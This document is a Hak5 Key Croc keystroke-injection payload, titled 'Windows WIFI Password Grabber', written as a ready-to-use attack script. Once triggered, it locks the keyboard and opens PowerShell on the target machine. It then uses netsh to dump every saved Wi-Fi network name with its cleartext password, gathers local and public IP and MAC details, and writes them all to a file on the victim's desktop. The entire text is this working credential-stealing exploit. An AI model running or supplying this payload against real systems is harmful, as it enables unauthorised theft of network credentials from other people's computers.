# Title: Windows WIFI Password Grabber # Description: Uses netsh to pull the stored wifi ssid and passwords # Author: Rootjunky # Version: 1.0 # Category: Key Croc # # MATCH wifipass QUACK LOCK QUACK GUI r QUACK DELAY 1000 QUACK STRING powershell QUACK ENTER QUACK DELAY 500 QUACK STRING "try" QUACK STRING "{" QUACK STRING "\$computerPubIP=(Invoke-WebRequest ipinfo.io/ip -UseBasicParsing).Content" QUACK STRING "}" QUACK STRING "catch" QUACK STRING "{" QUACK STRING "\$computerPubIP=\"Error getting Public IP\"" QUACK STRING "}" QUACK ENTER QUACK STRING "\$computerIP = get-WmiObject Win32_NetworkAdapterConfiguration|Where {\$_.Ipaddress.length -gt 1}" QUACK ENTER QUACK STRING "\$IsDHCPEnabled = \$false" QUACK ENTER QUACK STRING "\$Networks = Get-WmiObject Win32_NetworkAdapterConfiguration -Filter \"DHCPEnabled=\$True\" | ? {\$_.IPEnabled}" QUACK ENTER QUACK STRING "foreach (\$Network in \$Networks) {" QUACK STRING "If(\$network.DHCPEnabled) {" QUACK STRING "\$IsDHCPEnabled = \$true" QUACK STRING "}" QUACK STRING "[string[]]\$computerMAC =\$Network.MACAddress" QUACK STRING "}" QUACK ENTER QUACK STRING "\$WLANProfileNames =@()" QUACK DELAY 50 QUACK ENTER QUACK STRING "\$Output = netsh.exe wlan show profiles | Select-String -pattern \" : \" " QUACK DELAY 50 QUACK ENTER QUACK STRING "Foreach(\$WLANProfileName in \$Output){\$WLANProfileNames += ((\$WLANProfileName -split \":\")[1]).Trim()}" QUACK DELAY 50 QUACK ENTER QUACK STRING "\$WLANProfileObjects =@()" QUACK DELAY 50 QUACK ENTER QUACK STRING "Foreach(\$WLANProfileName in \$WLANProfileNames){" QUACK STRING "try{" QUACK STRING "\$WLANProfilePassword = (((netsh.exe wlan show profiles name=\"\$WLANProfileName\" key=clear | select-string -Pattern \"Key Content\") -split \":\")[1]).Trim()" QUACK STRING "}Catch{" QUACK STRING "\$WLANProfilePassword = \"The password is not stored in this profile\"" QUACK STRING "}" QUACK ENTER QUACK STRING " \$WLANProfileObject = New-Object PSCustomobject" QUACK ENTER QUACK STRING " \$WLANProfileObject | Add-Member -Type NoteProperty -Name \"ProfileName\" -Value \$WLANProfileName" QUACK ENTER QUACK STRING " \$WLANProfileObject | Add-Member -Type NoteProperty -Name \"ProfilePassword\" -Value \$WLANProfilePassword" QUACK ENTER QUACK STRING " \$WLANProfileObjects += \$WLANProfileObject" QUACK ENTER QUACK STRING " Remove-Variable WLANProfileObject" QUACK ENTER QUACK STRING "}" QUACK DELAY 50 QUACK ENTER QUACK STRING "clear" QUACK ENTER QUACK STRING "\"Computer IP address: \" + \$computerIP.ipaddress[0] > \$env:userprofile\Desktop\wifipasswd.txt" QUACK ENTER QUACK STRING "\"Public IP address: \" + \$computerPubIP >> \$env:userprofile\Desktop\wifipasswd.txt" QUACK ENTER QUACK STRING "echo "KeyCrocIP:" >> \$env:userprofile\Desktop\wifipasswd.txt" QUACK ENTER QUACK STRING "echo w" QUACK BACKSPACE QUACK STRING $(ifconfig wlan0 | grep "inet addr" | awk {'print $2'} | cut -c 6-) QUACK STRING " >> \$env:userprofile\Desktop\wifipasswd.txt" QUACK ENTER QUACK STRING "(\$WLANProfileObjects| out-string) >> \$env:userprofile\Desktop\wifipasswd.txt" QUACK ENTER QUACK STRING "exit" QUACK UNLOCK QUACK ENTER